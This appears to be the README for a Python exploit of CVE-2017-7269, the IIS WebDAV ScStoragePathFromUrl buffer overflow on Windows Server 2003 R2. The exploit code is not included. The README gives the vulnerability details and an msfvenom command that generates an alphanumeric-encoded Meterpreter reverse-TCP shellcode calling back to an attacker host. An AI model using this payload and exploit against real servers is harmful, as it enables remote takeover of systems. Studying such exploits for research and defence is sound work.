Details

  • Vulnerability: Microsoft IIS WebDav 'ScStoragePathFromUrl' Remote Buffer Overflow
  • CVE: CVE-2017-7269
  • Disclosure date: March 31 2017
  • Affected product: Microsoft Windows Server 2003 R2 SP2 x86

Why?

Months ago I needed to study this exploit, and finally I implemented it in python.

Shellcode

The shellcode must be in alphanumeric format due to the limitations of the bug. For example we can use msfvenom(metasploit) with the alpha_mixed encoder.

$ msfvenom -p windows/meterpreter/reverse_tcp -f raw -v sc -e x86/alpha_mixed LHOST=172.16.20.1 LPORT=4444 >shellcode
